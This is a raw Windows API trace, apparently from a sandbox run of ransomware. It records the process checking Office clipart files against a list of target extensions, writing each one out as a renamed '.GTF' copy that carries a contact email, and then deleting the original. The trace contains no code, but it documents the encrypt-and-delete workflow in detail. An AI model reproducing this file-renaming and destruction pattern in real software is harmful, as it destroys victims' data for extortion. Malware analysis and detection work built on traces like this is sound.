	[0083.784] lstrlenW (lpString=".xls") returned 4
	[0083.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.784] lstrlenW (lpString=".xlsx") returned 5
	[0083.784] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.784] lstrlenW (lpString=".ppt") returned 4
	[0083.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0083.784] lstrlenW (lpString=".zip") returned 4
	[0083.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.784] lstrlenW (lpString=".rar") returned 4
	[0083.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.784] lstrlenW (lpString=".bz2") returned 4
	[0083.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.784] lstrlenW (lpString=".7z") returned 3
	[0083.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0083.784] lstrlenW (lpString=".dbf") returned 4
	[0083.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0083.784] lstrlenW (lpString=".1cd") returned 4
	[0083.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0083.784] lstrlenW (lpString=".jpg") returned 4
	[0083.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0083.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0083.785] lstrlenW (lpString=".doc") returned 4
	[0083.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.785] lstrlenW (lpString=".docx") returned 5
	[0083.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.785] lstrlenW (lpString=".pdf") returned 4
	[0083.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.785] lstrlenW (lpString=".xls") returned 4
	[0083.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.785] lstrlenW (lpString=".xlsx") returned 5
	[0083.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.785] lstrlenW (lpString=".ppt") returned 4
	[0083.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0083.785] lstrlenW (lpString=".zip") returned 4
	[0083.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.785] lstrlenW (lpString=".rar") returned 4
	[0083.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.785] lstrlenW (lpString=".bz2") returned 4
	[0083.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.785] lstrlenW (lpString=".7z") returned 3
	[0083.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0083.785] lstrlenW (lpString=".dbf") returned 4
	[0083.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0083.785] lstrlenW (lpString=".1cd") returned 4
	[0083.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0083.785] lstrlenW (lpString=".jpg") returned 4
	[0083.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.786] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.786] lstrlenW (lpString="BL00526_.WMF") returned 12
	[0083.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.786] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=27552) returned 1
	[0083.786] CloseHandle (hObject=0x370) returned 1
	[0083.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x220
	[0083.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.787] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.787] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0083.788] GetLastError () returned 0x0
	[0083.788] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x6ba0, lpOverlapped=0x0) returned 1
	[0083.833] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x6bb0, lpOverlapped=0x0) returned 1
	[0083.834] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.834] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.834] SetEndOfFile (hFile=0x368) returned 1
	[0083.834] CloseHandle (hObject=0x368) returned 1
	[0083.836] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.836] SetEndOfFile (hFile=0x370) returned 1
	[0083.837] CloseHandle (hObject=0x370) returned 1
	[0083.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1
	[0083.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0083.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0083.837] lstrlenW (lpString=".doc") returned 4
	[0083.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.837] lstrlenW (lpString=".docx") returned 5
	[0083.838] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.838] lstrlenW (lpString=".pdf") returned 4
	[0083.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.838] lstrlenW (lpString=".xls") returned 4
	[0083.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.838] lstrlenW (lpString=".xlsx") returned 5
	[0083.838] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.838] lstrlenW (lpString=".ppt") returned 4
	[0083.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0083.838] lstrlenW (lpString=".zip") returned 4
	[0083.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.838] lstrlenW (lpString=".rar") returned 4
	[0083.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.838] lstrlenW (lpString=".bz2") returned 4
	[0083.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.838] lstrlenW (lpString=".7z") returned 3
	[0083.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0083.838] lstrlenW (lpString=".dbf") returned 4
	[0083.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0083.838] lstrlenW (lpString=".1cd") returned 4
	[0083.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0083.838] lstrlenW (lpString=".jpg") returned 4
	[0083.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0083.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0083.838] lstrlenW (lpString=".doc") returned 4
	[0083.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.838] lstrlenW (lpString=".docx") returned 5
	[0083.838] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.838] lstrlenW (lpString=".pdf") returned 4
	[0083.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.839] lstrlenW (lpString=".xls") returned 4
	[0083.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.839] lstrlenW (lpString=".xlsx") returned 5
	[0083.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.839] lstrlenW (lpString=".ppt") returned 4
	[0083.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0083.839] lstrlenW (lpString=".zip") returned 4
	[0083.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.839] lstrlenW (lpString=".rar") returned 4
	[0083.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.839] lstrlenW (lpString=".bz2") returned 4
	[0083.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.839] lstrlenW (lpString=".7z") returned 3
	[0083.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0083.839] lstrlenW (lpString=".dbf") returned 4
	[0083.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0083.839] lstrlenW (lpString=".1cd") returned 4
	[0083.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 68
	[0083.839] lstrlenW (lpString=".jpg") returned 4
	[0083.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.839] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.839] lstrlenW (lpString="BL00648_.WMF") returned 12
	[0083.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.840] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=11500) returned 1
	[0083.840] CloseHandle (hObject=0x370) returned 1
	[0083.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x220
	[0083.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.840] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.840] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0083.841] GetLastError () returned 0x0
	[0083.841] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x2cec, lpOverlapped=0x0) returned 1
	[0083.871] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x2cf0, lpOverlapped=0x0) returned 1
	[0083.872] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.872] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.872] SetEndOfFile (hFile=0x368) returned 1
	[0083.873] CloseHandle (hObject=0x368) returned 1
	[0083.873] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.873] SetEndOfFile (hFile=0x370) returned 1
	[0083.874] CloseHandle (hObject=0x370) returned 1
	[0083.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf")) returned 1
	[0083.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0083.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0083.875] lstrlenW (lpString=".doc") returned 4
	[0083.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.875] lstrlenW (lpString=".docx") returned 5
	[0083.875] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.875] lstrlenW (lpString=".pdf") returned 4
	[0083.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.875] lstrlenW (lpString=".xls") returned 4
	[0083.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.875] lstrlenW (lpString=".xlsx") returned 5
	[0083.875] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.875] lstrlenW (lpString=".ppt") returned 4
	[0083.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0083.875] lstrlenW (lpString=".zip") returned 4
	[0083.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.875] lstrlenW (lpString=".rar") returned 4
	[0083.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.875] lstrlenW (lpString=".bz2") returned 4
	[0083.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.875] lstrlenW (lpString=".7z") returned 3
	[0083.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0083.875] lstrlenW (lpString=".dbf") returned 4
	[0083.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0083.876] lstrlenW (lpString=".1cd") returned 4
	[0083.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0083.876] lstrlenW (lpString=".jpg") returned 4
	[0083.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0083.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0083.876] lstrlenW (lpString=".doc") returned 4
	[0083.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.876] lstrlenW (lpString=".docx") returned 5
	[0083.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.876] lstrlenW (lpString=".pdf") returned 4
	[0083.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.876] lstrlenW (lpString=".xls") returned 4
	[0083.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.876] lstrlenW (lpString=".xlsx") returned 5
	[0083.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.876] lstrlenW (lpString=".ppt") returned 4
	[0083.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0083.876] lstrlenW (lpString=".zip") returned 4
	[0083.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.876] lstrlenW (lpString=".rar") returned 4
	[0083.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.876] lstrlenW (lpString=".bz2") returned 4
	[0083.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.876] lstrlenW (lpString=".7z") returned 3
	[0083.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0083.876] lstrlenW (lpString=".dbf") returned 4
	[0083.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0083.876] lstrlenW (lpString=".1cd") returned 4
	[0083.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 68
	[0083.877] lstrlenW (lpString=".jpg") returned 4
	[0083.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.877] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.877] lstrlenW (lpString="BL00985_.WMF") returned 12
	[0083.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.877] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=3768) returned 1
	[0083.877] CloseHandle (hObject=0x370) returned 1
	[0083.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x220
	[0083.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.877] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.877] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0083.878] GetLastError () returned 0x0
	[0083.878] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xeb8, lpOverlapped=0x0) returned 1
	[0083.892] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec0, lpOverlapped=0x0) returned 1
	[0083.893] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.893] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.893] SetEndOfFile (hFile=0x368) returned 1
	[0083.903] CloseHandle (hObject=0x368) returned 1
	[0083.911] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.911] SetEndOfFile (hFile=0x370) returned 1
	[0083.912] CloseHandle (hObject=0x370) returned 1
	[0083.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1
	[0083.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0083.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0083.912] lstrlenW (lpString=".doc") returned 4
	[0083.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.912] lstrlenW (lpString=".docx") returned 5
	[0083.912] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
